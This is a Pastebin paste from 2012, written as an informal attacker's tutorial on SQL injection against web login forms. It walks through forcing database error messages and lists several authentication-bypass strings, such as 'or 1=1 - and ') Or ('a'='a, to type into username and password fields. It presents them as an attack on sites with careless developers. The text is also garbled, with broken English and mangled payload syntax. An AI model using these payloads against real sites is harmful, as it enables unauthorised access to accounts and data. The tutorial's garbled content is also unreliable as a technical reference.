Advertisement
3xp1r3mind

new attacks

Aug 24th, 2012
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1. welcome guys how are you ??
  2. thanks to those who continue with me here !!!
  3. now i will explain the new way of sql attacks
  4. we will depend on fatal errors or mistakes on
  5. web applications .... yeah suck developers
  6. who did not understand fully about sql injection
  7. LOOK....!!!!!!!!
  8. sql injection errors is very important... getting to the site
  9. will send you a ridiculous SQL query error message
  10. and he
  11. will give us a form.... we reviewed this error message
  12. and
  13. will try to find some clues from within.... for example, a
  14. site the user to input a user name and password
  15. section to
  16. section 'or 1 = 1 - let me say enter...... if the sql
  17. vulnerability on the site should give an error as follows:
  18. <!--[ If! SupportLineBreakNewLine] ->
  19. <!--[ Endif] ->
  20. Microsoft OLE DB Provider for ODBC Drivers error
  21. '80040e07 '
  22. [Microsoft] [ODBC SQL Server Driver] [SQL Server]
  23. Syntax
  24. error converting the nvarchar value 'users' to a column
  25. of
  26. data type int......... / Index.asp, line 11
  27. that's how we got an error..... if this error;
  28. Microsoft Database Drivers error '80040e07 '
  29. sql Server 'users' table did not enter a valid value for
  30. matching,...... syntax error has occurred.
  31. / Index.asp, line 11
  32. Does not end in SQL queries.
  33. 'Or 1 = 1 -
  34. "Or 1 = 1 -
  35. 'Or' a '=' a
  36. or 1 = 1 -
  37. ') Or (' a '=' a
  38. "Or" a "=" as a parameter can also be used.
  39. Above the user name and password section 'or 1 = 1 -
  40. to write
  41. because
  42. entry requirement is nothing you or 1 = 1 state get. (1 is
  43. always 1 to be equal because every time this command
  44. works)
  45. ^_________________*
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement